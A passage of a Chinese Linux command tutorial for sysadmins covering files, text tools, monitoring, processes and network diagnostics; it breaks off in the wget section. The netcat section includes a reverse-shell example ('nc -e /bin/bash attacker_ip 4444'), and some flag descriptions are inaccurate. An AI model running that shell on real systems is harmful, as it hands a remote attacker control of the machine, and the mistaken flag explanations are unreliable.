前言
生产环境中,Linux 命令行是运维工程师最常用的工具。很多时候,故障排查的第一步就是登录服务器敲命令,而不是打开监控面板。监控能告诉你什么时候出了问题,但定位根因往往需要你手动执行一系列命令去验证假设。
本文挑选了 30 个高频命令,按照用途分成 7 个类别。每个命令都给出实际使用场景、常见参数组合和注意事项。学完这些命令,你应该能够独立完成大部分日常运维操作,包括日志查看、性能排查、文件处理、网络诊断、进程管理、磁盘检查和系统信息获取。
1 文件与目录操作:ls、cd、pwd、mkdir、rm、cp、mv
1.1 ls:查看目录内容
ls 是最基础的命令,用来查看目录下的文件列表。
# 基本用法:查看当前目录文件
ls
# 查看详细列表,包含权限、大小、修改时间
ls -l
# 显示隐藏文件(以.开头)
ls -la
# 按修改时间倒序排列,最新修改的在最前
ls -lt
# 显示文件大小,人类可读格式(K、M、G)
ls -lh
# 查看指定目录
ls -la /var/log
# 统计目录下的文件数量
ls /var/log | wc -l
# 按文件大小排序
ls -lhS /var/log
实战场景:当应用报错”No such file or directory”时,先用 ls -la 确认文件是否存在、权限是否正确、属主属组是否匹配运行用户。特别注意权限列,如果文件是 root:root 但应用以 www-data 用户运行,就会出现权限不足的错误。
1.2 cd 和 pwd:切换与确认目录
# 切换到指定目录
cd /etc/sysconfig
# 切换到上一级目录
cd ..
# 切换到当前用户的家目录
cd ~
# 切换到上一个工作目录
cd -
# 显示当前完整路径
pwd
# 解析符号链接并显示真实路径
pwd -P
实战场景:cd - 在两个目录之间切换时特别有用,比如在 /etc 和 /var/log 之间来回切换排查不同日志文件。pwd -P 用于确认当前目录是否有符号链接指向其他位置,避免在脚本中误判路径。
1.3 mkdir:创建目录
# 创建单个目录
mkdir /data/app
# 创建多级目录(父目录不存在时自动创建)
mkdir -p /data/app/logs/run
# 创建目录并指定权限(默认755)
mkdir -m 755 /data/backup
# 批量创建多个目录
mkdir -p /data/{app1,app2,app3}/logs
注意事项:mkdir -p 是最常用的参数组合,它不会在目录已存在时报错,适合放在脚本中反复执行而不用担心报错中断。
1.4 rm:删除文件与目录
# 删除文件(会提示确认)
rm filename.txt
# 强制删除文件,不提示
rm -f filename.txt
# 删除目录及目录下所有内容
rm -rf /data/old_backup
# 删除所有 .log 文件
rm -f *.log
# 删除空目录
rmdir /data/empty_dir
# 删除前先确认每个文件
rm -i *.txt
高风险操作警示:
# 极度危险!会删除根目录下所有文件
rm -rf /
# 同样危险,删除当前目录所有文件
rm -rf ./*
# 如果变量为空,会变成 rm -rf /,永远不要这样写
rm -rf $DIR/*
安全建议:在生产环境中删除文件前,先用 ls 确认路径正确,或者使用 mv 移动到临时目录观察一段时间再删除:
# 先移动到临时目录,而不是直接删除
mv /data/backup_2024 /tmp/backup_2024_$(date +%Y%m%d)
# 确认无误后再删除
rm -rf /tmp/backup_2024_20240101
1.5 cp:复制文件与目录
# 复制单个文件
cp source.txt /dest/directory/
# 复制并重命名
cp source.txt /dest/destination_name.txt
# 复制目录(需要 -r 参数)
cp -r /source/directory /dest/
# 保留文件属性(权限、时间戳)
cp -p /source/file /dest/
# 递归复制并保留属性
cp -rp /source/dir /dest/
# 复制时显示文件名
cp -v source.txt /dest/
# 仅当源文件比目标文件新时才复制
cp -u /source/*.conf /dest/
1.6 mv:移动与重命名
# 移动文件到指定目录
mv oldfile.txt /new/location/
# 重命名文件
mv oldname.txt newname.txt
# 移动目录(不需要 -r)
mv /old/directory /new/location/
# 批量移动文件
mv *.log /var/log/archive/
# 移动前先确认(安全模式)
mv -i source.txt /dest/
# 源文件存在时强制覆盖
mv -f source.txt /dest/
实战经验:在处理日志切割时,通常用 mv 把当前的日志文件重命名,然后发送 SIGHUP 信号给进程让它重新打开新文件,而不是用 cp 再 rm,因为后者可能导致日志丢失:
mv /var/log/app.log /var/log/app.log.$(date +%Y%m%d)
killall -HUP rsyslogd # 或 kill -HUP $(pidof app)
2 文本处理与查看:cat、less、more、head、tail、grep、awk、sed、wc、sort、uniq
2.1 cat:查看或合并文件
# 查看文件全部内容
cat /etc/passwd
# 显示行号
cat -n /etc/passwd
# 显示行号包括空行
cat -b /etc/passwd
# 显示不可见字符(用 $ 标记行尾)
cat -A /etc/hosts
# 合并多个文件
cat file1.txt file2.txt > combined.txt
# 追加内容到文件
cat >> existing.txt <<EOF
new line 1
new line 2
EOF
# 创建包含指定内容的文件
cat > newfile.txt <<EOF
这是第一行
这是第二行
EOF
适用场景:cat 适合查看小文件内容。大文件(超过几百兆)不要用 cat,会导致终端卡顿,应该用 less 或 tail。
2.2 less 和 more:分页查看文件
# 分页查看文件(less 更常用,功能更强)
less /var/log/messages
# 从第100行开始显示
less +100 /var/log/messages
# 搜索关键词,高亮显示
less /var/log/messages
# 在 less 界面输入 /error 然后回车
# 搜索并定位到第一个匹配处
less -p error /var/log/messages
# 显示行号
less -N /var/log/messages
# 退出 less
q
# 向下翻页
空格键 或 Page Down
# 向上翻页
b 或 Page Up
# 跳到文件开头
g
# 跳到文件结尾
G
# 向下搜索
/pattern
# 向上搜索
?pattern
# 查找下一个匹配
n
# 查找上一个匹配
N
实战技巧:查看正在写入的日志文件时,使用 less +F 或先按 F,这相当于 tail -f 的效果,但可以在看到异常时按 Ctrl+C 停止追踪,然后上下搜索:
# 实时追踪日志(类似 tail -f 但可交互)
less +F /var/log/app.log
# 按 Ctrl+C 停止追踪
# 按 /error 搜索关键词
# 按 n 跳到下一个匹配
# 按 G 跳到文件结尾
# 按 F 继续追踪
2.3 head:查看文件开头
# 查看前10行(默认)
head /var/log/messages
# 查看前20行
head -n 20 /var/log/messages
# 查看前100行
head -100 /var/log/messages
# 查看前500字节
head -c 500 /var/log/messages
# 查看多个文件
head -n 5 /etc/passwd /etc/hosts
# 排除前5行,查看剩余内容
tail -n +6 /var/log/messages
实战场景:查看配置文件时,先用 head -20 看开头部分,通常应用的配置参数在文件前 50 行内,注释也会说明关键参数:
head -50 /etc/nginx/nginx.conf
2.4 tail:查看文件结尾
# 查看最后10行
tail /var/log/messages
# 查看最后20行
tail -n 20 /var/log/messages
# 实时追踪文件更新(按 Ctrl+C 停止)
tail -f /var/log/messages
# 追踪多个文件
tail -f /var/log/messages /var/log/secure
# 显示文件增长情况,每秒刷新
tail -f /var/log/app.log
# 查看最近30分钟内的日志(结合 find)
find /var/log -name "*.log" -mmin -30 -exec tail -n 100 {} \;
# 从第100行开始显示到最后
tail -n +100 /var/log/messages
# 显示最后500KB
tail -c 500k /var/log/messages
高危操作警示:
# 不要这样用!会清空整个文件
tail -f /var/log/messages > /var/log/messages
实战场景:Nginx 日志分割后,旧文件被 mv 或 cp 到别处,Nginx 进程仍然写入原 inode。通过 tail -f 确认文件描述符是否仍然有效:
# 查看 Nginx 进程打开的日志文件
lsof | grep nginx
# 如果看到 nginx 仍在写一个被 mv 走的文件,需要发送 HUP 信号让它重新打开
kill -HUP $(cat /var/run/nginx.pid)
2.5 grep:文本搜索
# 在文件中搜索关键词
grep "error" /var/log/messages
# 忽略大小写
grep -i "error" /var/log/messages
# 显示行号
grep -n "error" /var/log/messages
# 显示匹配行的上下文(前后各3行)
grep -C 3 "error" /var/log/messages
# 只显示匹配的行数
grep -c "error" /var/log/messages
# 递归搜索目录
grep -r "error" /var/log/
# 只搜索 .log 和 .txt 文件
grep -r "error" /var/log/ --include="*.log" --include="*.txt"
# 排除目录
grep -r "error" /var/ --exclude-dir=cache
# 使用正则表达式
grep -E "error|warning|critical" /var/log/messages
# 搜索以指定字符串开头的行
grep -E "^error" /var/log/messages
# 搜索空行
grep -E "^$" /var/log/messages
# 显示不包含关键词的行(反向匹配)
grep -v "error" /var/log/messages
# 统计每个文件中匹配的行数
grep -c "error" /var/log/*.log
# 搜索隐藏文件
grep -r "config" .[^.]*
多行搜索场景:
# 搜索包含多个关键词的行(必须同一行)
grep -E "error.*timeout" /var/log/messages
# 搜索关键词并在匹配后退出(适合脚本)
grep -q "error" /var/log/messages && echo "Found error"
# 在多个文件中搜索,输出文件名
grep -l "error" /var/log/*.log
性能注意:在非常大的日志文件(GB级别)中搜索,使用 grep 可能很慢。可以先用 grep --binary-files=without-match 跳过二进制文件,或者用 strings 提取文本内容后再搜索。
2.6 awk:文本分析与提取
# 打印第一列(默认以空格为分隔符)
awk '{print $1}' /var/log/messages
# 打印多列
awk '{print $1, $3, $5}' /var/log/messages
# 指定分隔符
awk -F: '{print $1, $7}' /etc/passwd
# 使用多个字符作为分隔符
awk -F: '{print $1}' /etc/passwd
awk -F'[/:]' '{print $1, $NF}' /etc/passwd
# 打印行号和内容
awk '{print NR, $0}' /var/log/messages
# 搜索后打印
awk '/error/ {print $0}' /var/log/messages
# 使用变量和条件
awk '{if ($5 > 100) print $1, $5}' /var/log/access.log
# 统计求和
awk '{sum += $7} END {print sum}' /var/log/access.log
# 格式化输出
awk '{printf "%-20s %-10s\n", $1, $3}' /etc/passwd
# 替换操作
awk '{gsub(/error/, "ERROR"); print}' /var/log/messages
# 设定输出分隔符
awk 'BEGIN {OFS="|"} {print $1, $3}' /etc/passwd
# 从指定行开始处理
awk 'NR>10 {print $0}' /var/log/messages
# 获取最后一列
awk '{print $NF}' /var/log/messages
# 去除重复行(基于第一列)
awk '!seen[$1]++' /var/log/messages
实战场景:分析 Nginx 访问日志,统计每个 IP 的访问次数和总流量:
# 统计每个 IP 的请求数
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 统计总流量(假设第10列是响应大小)
awk '{sum += $10} END {print sum/1024/1024 " MB"}' /var/log/nginx/access.log
# 统计非 200 状态码的请求
awk '{if ($9 != 200) print $1, $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
2.7 sed:文本替换与编辑
# 替换文件中第一个匹配项
sed 's/old/new/' file.txt
# 替换文件中所有匹配项
sed 's/old/new/g' file.txt
# 替换第3行的内容
sed '3s/old/new/' file.txt
# 替换指定范围行
sed '1,10s/old/new/g' file.txt
# 在指定行后添加内容
sed '3a\new line content' file.txt
# 在指定行前插入内容
sed '3i\new line content' file.txt
# 删除指定行
sed '3d' file.txt
# 删除匹配的行
sed '/pattern/d' file.txt
# 显示第5行
sed -n '5p' file.txt
# 显示5到10行
sed -n '5,10p' file.txt
# 原地编辑(直接修改文件)
sed -i 's/old/new/g' file.txt
# 原地编辑并备份
sed -i.bak 's/old/new/g' file.txt
# 替换多个字符
sed 'y/abc/xyz/' file.txt
# 打印行号
sed -n '=;p' file.txt
# 多重编辑
sed -e '1d' -e 's/error/ERROR/' file.txt
# 忽略大小写
sed 's/error/ERROR/gi' file.txt
高危操作警示:
# 永远不要在生产环境执行这些
sed -i 's/.*//' /var/log/messages # 清空文件
sed -i 'd' /var/log/messages # 删除所有行
安全建议:在生产环境执行 sed 替换前,先查看匹配结果,确认无误后再用 -i 参数:
# 先看效果,不实际修改
sed 's/error/ERROR/g' /var/log/messages | head -20
# 确认无误后再修改
sed -i.bak 's/error/ERROR/g' /var/log/messages
2.8 wc:统计行数、字数、字符数
# 统计行数
wc -l /var/log/messages
# 统计单词数
wc -w /var/log/messages
# 统计字符数
wc -c /var/log/messages
# 默认输出(行数、单词数、字符数)
wc /var/log/messages
# 统计多个文件的总行数
wc -l /var/log/*.log
# 统计目录下的总代码行数(递归)
find /project -name "*.py" -exec cat {} \; | wc -l
# 统计目录下各文件的行数
wc -l /var/log/*.log
2.9 sort:排序
# 按字典顺序排序
sort file.txt
# 按数字排序
sort -n numbers.txt
# 倒序排序
sort -r file.txt
# 按数字倒序
sort -rn numbers.txt
# 按第二列排序
sort -k2 file.txt
# 按第三列数字排序
sort -k3n file.txt
# 去重排序
sort -u file.txt
# 合并已排序的文件
sort -m file1.txt file2.txt
# 指定分隔符
sort -t: -k3 -n /etc/passwd
# 检查文件是否已排序
sort -c file.txt
# 如果无输出说明已排序
2.10 uniq:去重与统计
# 去除相邻的重复行(先排序)
sort file.txt | uniq
# 显示所有不重复的行
sort file.txt | uniq -u
# 显示重复的行及其次数
sort file.txt | uniq -dc
# 统计每行出现次数
sort file.txt | uniq -c
# 忽略比较前N个字符
sort file.txt | uniq -w 10
# 忽略指定字段
sort file.txt | uniq -s 10 -w 5
实战组合:统计日志中每个 IP 的访问次数并排序:
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
3 系统信息与监控:top、htop、vmstat、iostat、netstat、ss、df、du、free、uptime
3.1 top:进程监控
# 启动 top
top
# 指定刷新间隔(3秒)
top -d 3
# 显示特定用户的进程
top -u www-data
# 显示特定进程
top -p 1234
# 高亮显示负载最高的列
top
# 在 top 界面中可用的快捷键
# M:按内存使用排序
# P:按 CPU 使用排序
# T:按运行时间排序
# k:杀掉进程(需要输入 PID)
# r:调整进程优先级(renice)
# 1:显示每个 CPU 核心的详细使用率
# c:显示完整命令行
# l:隐藏/显示第一行平均负载
# t:隐藏/显示 CPU 和任务行
# m:隐藏/显示内存行
# q:退出
# 批量模式:运行一次后退出
top -b -n 1 > top_output.txt
# 连续输出(用于记录)
top -b -d 5 -n 10 > top_log.txt
# 查看线程
top -H -p $(pidof nginx)
# 查看指定 PID
top -p 12345
top 输出字段说明:
PID :进程 ID
USER :运行用户
PR :优先级
NI :nice 值(-20 到 19,值越小优先级越高)
VIRT :虚拟内存大小
RES :常驻内存大小(实际使用的物理内存)
SHR :共享内存大小
S :进程状态(D=不可中断睡眠,R=运行,S=睡眠,Z=僵尸,T=停止)
%CPU :CPU 使用率
%MEM :内存使用率
TIME+ :累计 CPU 时间
COMMAND:命令行
实战场景:当服务器 load average 很高时,用 top 按 CPU 使用率排序,找出消耗最大的进程:
# 按 CPU 排序,查看最耗 CPU 的进程
top -b -n 1 | head -20
# 然后按 P 键或手动 sort
3.2 htop:更友好的进程监控
# 启动 htop(如果已安装)
htop
# 显示指定用户的进程
htop -u www-data
# 监控指定 PID
htop -p 1234,5678
# 树状显示进程关系
htop -t
# 启动时隐藏所有进程树
htop
# 在 htop 界面
# 上下箭头:选择进程
# 回车:查看进程详情
# F5:树状视图
# F6:排序
# F9:杀掉进程
# q:退出
# /:搜索进程
# u:查看用户的所有进程
# space:标记进程
# x:标记进程对
htop 颜色含义(默认主题):
- 绿色:正常进程
- 红色:高优先级进程
- 蓝色:虚拟机相关
- 默认:系统进程
3.3 vmstat:虚拟内存统计
# 显示一次统计信息
vmstat
# 每秒刷新,共5次
vmstat 1 5
# 显示详细的内存统计
vmstat -m
# 显示内存子系统的详细信息
vmstat -s
# 显示设备别表
vmstat -d
# 显示磁盘分区信息
vmstat -p /dev/sda1
# 时间戳输出
vmstat -t 1 5
# 显示所有 CPU 核心的统计
vmstat -a
vmstat 输出字段说明:
r:运行队列中的进程数(等待 CPU 的进程)
b:阻塞中的进程数(等待 I/O 的进程)
swpd:使用的虚拟内存(KB)
free:空闲内存(KB)
buff:用作缓冲的内存(KB)
cache:用作缓存的内存(KB)
si:从磁盘换入的内存(KB/s)
so:换出到磁盘的内存(KB/s)
bi:块设备接收的块数(blocks/s)
bo:块设备发送的块数(blocks/s)
in:中断次数(/s)
cs:上下文切换次数(/s)
us:用户态 CPU 时间百分比
sy:内核态 CPU 时间百分比
id:空闲时间百分比
wa:等待 I/O 的时间百分比
st:被虚拟机偷走的时间百分比
实战判断:
r值持续高于 CPU 核心数的 4 倍,说明 CPU 严重不足wa值持续高于 30%,说明存在 I/O 瓶颈si和so持续不为 0,说明物理内存不足
3.4 iostat:磁盘 I/O 统计
# 安装(如果不存在)
# yum install sysstat 或 apt install sysstat
# 显示一次统计
iostat
# 每秒刷新,共3次
iostat 1 3
# 显示 CPU 统计
iostat -c
# 显示设备统计
iostat -d
# 显示指定设备
iostat -p sda
# 显示扩展统计
iostat -x
# 显示每条报告的时间戳
iostat -t
# 显示 KB 为单位
iostat -k
# 显示 MB 为单位
iostat -m
iostat 输出字段说明(扩展模式 -x):
Device:设备名
rrqm/s:每秒合并的读请求数
wrqm/s:每秒合并的写请求数
r/s:每秒完成的读请求数
w/s:每秒完成的写请求数
rkB/s:每秒读取的 KB 数
wkB/s:每秒写入的 KB 数
avgrq-sz:平均请求大小(扇区)
avgqu-sz:平均队列长度
await:平均等待时间(毫秒)
r_await:平均读等待时间
w_await:平均写等待时间
svctm:平均服务时间(毫秒)
%util:设备利用率(百分比)
实战判断:
await高于 10ms 说明 I/O 延迟较高%util接近 100% 说明磁盘饱和avgqu-sz持续大于 1,说明队列堆积
3.5 netstat 和 ss:网络连接统计
# 查看所有连接
netstat -an
# 查看 TCP 连接
netstat -at
# 查看 UDP 连接
netstat -au
# 查看监听端口
netstat -ln
# 查看监听 TCP 端口
netstat -ltn
# 查看端口占用对应的程序
netstat -tulnp
# 显示路由表
netstat -r
# 显示网络接口统计
netstat -i
# 显示内核网络缓冲区
netstat -s
# 统计连接状态数量
netstat -an | awk '/^tcp/ {print $6}' | sort | uniq -c
ss 是 netstat 的替代工具,速度更快:
# 查看所有连接
ss -an
# 查看 TCP 连接
ss -at
# 查看 UDP 连接
ss -au
# 查看监听端口
ss -ln
# 显示进程信息
ss -tlnp
# 显示完整信息
ss -emip
# 查看 TCP 连接状态
ss -t state established
# 查看所有 TCP 状态
ss -t state all
# 常见 TCP 状态:established, syn-sent, syn-recv, time-wait, close-wait, fin-wait-1, fin-wait-2, listening
# 过滤来源端口
ss sport = :80
# 过滤目标端口
ss dport = :443
# 统计各状态连接数
ss -s
# 显示定时刷新
ss -t -i
实战场景:查看当前所有与 MySQL 的连接:
ss -tlnp | grep 3306
# 或
netstat -an | grep 3306
3.6 df:磁盘空间使用
# 显示所有文件系统
df -h
# 显示特定文件系统
df -h /var
# 显示 inode 信息(文件名占用的索引节点)
df -i
# 显示磁盘块大小
df -B 1K
# 显示文件系统类型
df -Th
# 显示特定类型的文件系统
df -t ext4
# 排除特定类型
df -x tmpfs
df 输出字段说明:
Filesystem:文件系统(设备名或 UUID)
Size:总大小
Used:已使用
Avail:可用
Use%:使用百分比
Mounted on:挂载点
实战判断:
/分区使用率超过 80% 需要关注/var/log分区满会导致应用无法写日志/tmp分区满会导致某些应用无法创建临时文件
3.7 du:目录和文件大小
# 显示当前目录大小
du -sh
# 显示各子目录大小
du -sh *
# 显示所有子目录大小(递归)
du -h
# 显示指定目录大小
du -sh /var/log
# 按大小排序
du -sh /var/log/* | sort -h
# 显示文件大小
du -h file.txt
# 只显示总计
du -s /var/log
# 显示目录大小,包含隐藏文件
du -sh .[^.]* *
# 排除特定目录
du -sh /var --exclude=cache
# 显示目录包含的文件数量
du --inodes /var/log
# 显示最大10个子目录
du -h /var 2>/dev/null | sort -rh | head -10
实战场景:排查哪个目录占用空间最大:
# 从根目录开始,逐层定位
du -sh /*
du -sh /var/*
du -sh /var/log/*
# 直到找到占用空间最大的目录或文件
3.8 free:内存使用情况
# 显示内存使用情况(默认 KB)
free
# 人类可读格式
free -h
# 显示内存和 swap
free -m
# 显示内存和 swap 单位 MB
free -g
# 显示总内存一行
free -t
# 持续监控
watch free -h
# 显示详细的内存统计
cat /proc/meminfo
# 显示低内存统计
free -l
free 输出字段说明:
total:总内存
used:已使用(包含 buffer 和 cache)
free:完全空闲
shared:共享内存(tmpfs)
buff/cache:buffer 和 cache 总和
available:可用内存(包含 buffer/cache 的可回收部分)
重要概念:Linux 的 cache 可以回收,所以 available 比 free 更准确反映可用内存。used 包含的 buffer/cache 在需要时会被回收。
实战判断:
available接近 0 说明内存严重不足swap used不为 0 说明物理内存不足buff/cache持续很高但available充足说明内存利用正常
3.9 uptime:系统运行时间与负载
# 显示运行时间和负载
uptime
# 输出格式
# 10:30:15 up 15 days, 3:22, 2 users, load average: 0.52, 0.48, 0.41
# 简洁输出
uptime -s
# 显示系统启动时间
uptime -V
load average 说明:三个数字分别表示 1分钟、5分钟、15分钟的平均负载。
判断标准:
- 数值 < CPU 核心数:负载正常
- 数值 > CPU 核心数 2 倍:负载较高
- 数值 > CPU 核心数 4 倍:严重过载
4 进程管理:ps、pkill、kill、killall、nohup、bg、fg、jobs
4.1 ps:进程快照
# 显示当前终端的进程
ps
# 显示所有进程(常用组合)
ps aux
# 显示完整格式
ps -ef
# 显示所有进程,包含命令行完整路径
ps -ef --forest
# 显示进程树
pstree
# 显示指定用户的进程
ps -u www-data
# 显示指定 PID 的进程
ps -p 1234
# 显示多个 PID
ps -p 1234,5678,9012
# 显示线程
ps -eLf
# 自定义输出格式
ps -eo pid,user,pcpu,pmem,comm,etime
# 按 CPU 使用排序
ps aux --sort=-%cpu | head -10
# 按内存使用排序
ps aux --sort=-%mem | head -10
# 查找特定进程
ps aux | grep nginx
# 排除 grep 本身
ps aux | grep nginx | grep -v grep
ps aux vs ps -ef:
ps aux:BSD 格式,显示所有进程,包含 CPU 和内存使用率ps -ef:System V 格式,显示完整命令行
ps 输出字段说明:
PID :进程 ID
TTY :终端(? 表示无终端)
STAT :进程状态(R=运行,S=睡眠,D=不可中断,T=停止,Z=僵尸)
TIME :累计 CPU 时间
CMD :命令(方括号中的是内核线程)
4.2 pkill 和 kill:进程控制
# 按名称终止进程(会向进程发送 SIGTERM)
pkill nginx
# 强制终止
pkill -9 nginx
# 仅终止运行中的进程
pkill -f "nginx -g daemon"
# 终止特定用户的进程
pkill -u www-data
# 终止特定终端的进程
pkill -t pts/0
# 发送指定信号
kill -SIGTERM 1234
kill -15 1234
# 发送 SIGKILL(强制杀死)
kill -SIGKILL 1234
kill -9 1234
# 发送 SIGHUP(重新读取配置)
kill -SIGHUP 1234
kill -1 1234
# 查找进程 ID
pidof nginx
# 显示进程名和 PID
pgrep nginx
# 显示详细信息
pgrep -a nginx
# 仅显示 PID
pgrep -o nginx
信号说明:
- SIGTERM (15):正常终止,进程可以捕获并优雅退出
- SIGKILL (9):强制杀死,进程不能捕获
- SIGHUP (1):挂起,通常用于让进程重新读取配置文件
- SIGUSR1 (10):用户自定义,通常用于打印调试信息
- SIGUSR2 (12):用户自定义
实战场景:优雅重启 Nginx:
# 方法1:发送 HUP 信号
kill -HUP $(cat /var/run/nginx.pid)
# 方法2:使用 nginx -s
nginx -s reload
# 方法3:使用 systemctl
systemctl reload nginx
4.3 killall:按名称杀死进程
# 按名称杀死所有匹配进程
killall nginx
# 强制杀死
killall -9 nginx
# 发送指定信号
killall -SIGTERM nginx
# 杀死指定用户的进程
killall -u www-data nginx
# 忽略大小写
killall -I nginx
# 显示被杀死的进程
killall -v nginx
# 杀死符合条件的进程(使用命令行的部分匹配)
killall -f "python manage.py"
注意事项:killall 在不同系统上行为可能不同。Linux 上按进程名匹配,Solaris 上按进程名全匹配, macOS 上行为也不同。
4.4 nohup:后台运行
# 后台运行,不受挂起信号影响
nohup ./backup.sh &
# 后台运行,忽略挂起和退出信号
nohup ./backup.sh &
# 指定输出文件
nohup ./backup.sh > backup.log 2>&1 &
# 指定输出文件(分离 stdout 和 stderr)
nohup ./backup.sh > backup.log 2> error.log &
# 使用 bash -c 运行复杂命令
nohup bash -c 'find / -name "*.log" -mtime +7 | xargs rm' &
nohup 输出重定向说明:
> file:stdout 重定向到 file2>&1:stderr 重定向到 stdout&:后台运行
4.5 jobs、fg、bg:任务控制
# 查看当前 shell 的任务列表
jobs
# 任务状态:Running、Stopped、Done
# 列出任务和 PID
jobs -l
# 将任务调到前台
fg
# 将指定任务调到前台
fg %1
# 将任务调到后台(前台任务)
bg
# 将停止的任务在后台继续运行
bg %1
# 挂起当前前台任务(Ctrl+Z)
# 然后用 bg %1 在后台继续
# 任务内部引用
# %1:任务1
# %+:当前任务
# %-:上一个任务
# %%:当前任务
实战场景:启动一个耗时任务,临时切到其他操作:
# 启动数据库备份
./backup.sh
# 按 Ctrl+Z 挂起任务
# 输入 bg %1 后台继续运行
# 做其他操作
# 稍后用 fg %1 切回查看结果
5 网络诊断:ping、traceroute、nslookup、dig、host、nc、curl、wget、ip
5.1 ping:连通性测试
# 测试到目标主机的连通性
ping 8.8.8.8
# 指定次数后停止
ping -c 4 8.8.8.8
# 指定间隔(秒)
ping -i 0.5 8.8.8.8
# 持续 ping 直到中断
ping 8.8.8.8
# 设置数据包大小
ping -s 1000 8.8.8.8
# 只显示目标地址,不解析主机名
ping -n 8.8.8.8
# 设置 TTL
ping -t 64 8.8.8.8
# 记录路由
ping -R 8.8.8.8
# ping 多个目标
for ip in 8.8.8.8 1.1.1.1 208.67.222.222; do ping -c 1 -W 2 $ip; done
实战判断:
time值 < 50ms:网络延迟正常time值 50-100ms:延迟较高time值 > 100ms:延迟严重- 出现
DUP!:重复包,可能存在网络环路 - 出现
100% packet loss:完全不通
5.2 traceroute:路由追踪
# 追踪到目标主机的路由
traceroute 8.8.8.8
# 指定最大跳数
traceroute -m 20 8.8.8.8
# 使用 UDP 协议(默认)
traceroute 8.8.8.8
# 使用 ICMP 协议
traceroute -I 8.8.8.8
# 使用 TCP SYN 探测
traceroute -T 8.8.8.8
# 显示时间戳
traceroute -T -O info 8.8.8.8
# 跳过反向 DNS 解析,加速
traceroute -n 8.8.8.8
# Windows 下使用
tracert 8.8.8.8
traceroute 输出分析:
- 前几跳通常是本地网络设备
- 中间跳数可能显示
* * *,是路由器不响应 TTL 超时包 - 最后一跳是目标主机
- 每个 IP 后面的三个数字是三次探测的往返时间
5.3 nslookup 和 dig:DNS 查询
# 基本 DNS 查询
nslookup www.example.com
# 查询特定 DNS 服务器
nslookup www.example.com 8.8.8.8
# 查询 MX 记录
nslookup -type=mx example.com
# 查询 TXT 记录
nslookup -type=txt example.com
# 查询 CNAME 记录
nslookup -type=cname www.example.com
# 查询 PTR 记录(反向查询)
nslookup 8.8.8.8
# dig 基本用法
dig www.example.com
# 只显示 ANSWER 部分
dig +short www.example.com
# 指定 DNS 服务器
dig @8.8.8.8 www.example.com
# 查询特定记录类型
dig +short MX example.com
dig +short TXT example.com
dig +short NS example.com
dig +short AAAA example.com
# 显示完整查询过程
dig +trace www.example.com
# 反向查询
dig -x 8.8.8.8
# 显示 DNS 服务器响应时间
dig +stats www.example.com
# IPv6 查询
dig AAAA www.example.com
# 使用 TCP 协议查询
dig +tcp www.example.com
# host 命令(简化版)
host www.example.com
host -t MX example.com
host -t NS example.com
实战场景:排查 DNS 解析问题:
# 先用本地 DNS
nslookup www.example.com
# 再用公共 DNS 测试
nslookup www.example.com 8.8.8.8
nslookup www.example.com 1.1.1.1
# 对比结果,定位是 DNS 服务器问题还是本地缓存问题
5.4 nc (netcat):网络瑞士军刀
# 测试端口连通性
nc -zv 192.168.1.100 22
# 测试多个端口
nc -zv 192.168.1.100 22 80 443
# 指定端口范围
nc -zv 192.168.1.100 20-30
# 持续监听端口
nc -l 8080
# 传输文件
# 主机1
nc -l 1234 > received.file
# 主机2
nc host1 1234 < send.file
# 快速传输文件
# 主机1
cat file.iso | nc -l 1234
# 主机2
nc host1 1234 > file.iso
# 端口扫描
nc -zv -w 2 192.168.1.100 22
# 建立反向 shell
# 攻击者
nc -lvp 4444
# 目标
nc -e /bin/bash attacker_ip 4444
# 目录扫描
for port in 80 443 8080 8443; do
nc -zv -w 1 192.168.1.100 $port 2>&1 | grep succeeded
done
# HTTP 请求
echo -e "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
# 持续监控端口
while true; do
nc -z 192.168.1.100 80 && echo "Port 80 is open"
sleep 5
done
5.5 curl:HTTP 客户端
# 基本 GET 请求
curl https://www.example.com
# 保存到文件
curl -o example.html https://www.example.com
# 下载文件(O 大写)
curl -O https://www.example.com/file.tar.gz
# 显示响应头
curl -I https://www.example.com
# 显示完整响应(包括头)
curl -i https://www.example.com
# 只显示响应体
curl -s https://www.example.com
# 静默模式(不显示进度)
curl -s -o /dev/null -w "%{http_code}" https://www.example.com
# 自定义请求头
curl -H "Content-Type: application/json" https://api.example.com
# POST 请求
curl -X POST -d "name=value" https://api.example.com
# POST JSON 数据
curl -X POST -H "Content-Type: application/json" \
-d '{"key": "value"}' https://api.example.com
# 带认证
curl -u username:password https://api.example.com
# 使用代理
curl -x http://proxy:8080 https://www.example.com
# 跟随重定向
curl -L https://www.example.com
# 显示完整请求和响应
curl -v https://www.example.com
# 显示更详细的信息
curl -vv https://www.example.com
# 跳过 SSL 证书验证(测试用)
curl -k https://www.example.com
# 指定 CA 证书
curl --cacert /path/to/ca-bundle.crt https://www.example.com
# 显示下载进度
curl -# -O https://www.example.com/file.tar.gz
# 设置超时
curl -m 10 https://www.example.com
# 设置 DNS 解析到指定 IP
curl --resolve www.example.com:443:192.168.1.100 https://www.example.com
# 发送 Cookie
curl -b "session=abc123" https://www.example.com
# 保存 Cookie 到文件
curl -c cookies.txt https://www.example.com
# 使用保存的 Cookie
curl -b cookies.txt https://www.example.com
# 上传文件
curl -F "file=@test.tar.gz" https://api.example.com/upload
# 测试 API 响应时间
curl -w "Time: %{time_total}s\n" -o /dev/null -s https://www.example.com
curl 格式化输出变量:
%{http_code}:HTTP 状态码
%{time_total}:总时间(秒)
%{time_namelookup}:DNS 解析时间
%{time_connect}:TCP 连接时间
%{time_starttransfer}:开始传输时间
%{size_download}:下载大小
%{speed_download}:下载速度
5.6 wget:文件下载
# 基本下载
wget https://www.example.com/file.tar.gz
# 后台下载
wget -b https://www.example.com/large-file.iso
# 断点续传
wget -c https://www.example.com/large-file.iso
# 下载多个文件
wget -i urls.txt
# 保存到指定文件名
wget -O output.tar.gz https://www.example.com/file.tar.gz
# 指定用户
wget --user=user --password=pass https://www.example.com
# 不改变文件名
wget -nH https://www.example.com/dir/file.tar.gz
# 跳过 DNS 解析(使用 hosts 文件)
wget --no-host-directories https://www.example.com/dir/file.tar.gz
# 递归下载整个网站(慎用)
wget -r -l 2 https://www.example.com
# 镜像网站
wget -m https://www.example.com
# 下载时跳过已存在的文件
wget -nc https://www.example.com/file.tar.gz
# 显示详细输出
wget -d https://www.example.com/file.tar.gz
# 设置超时
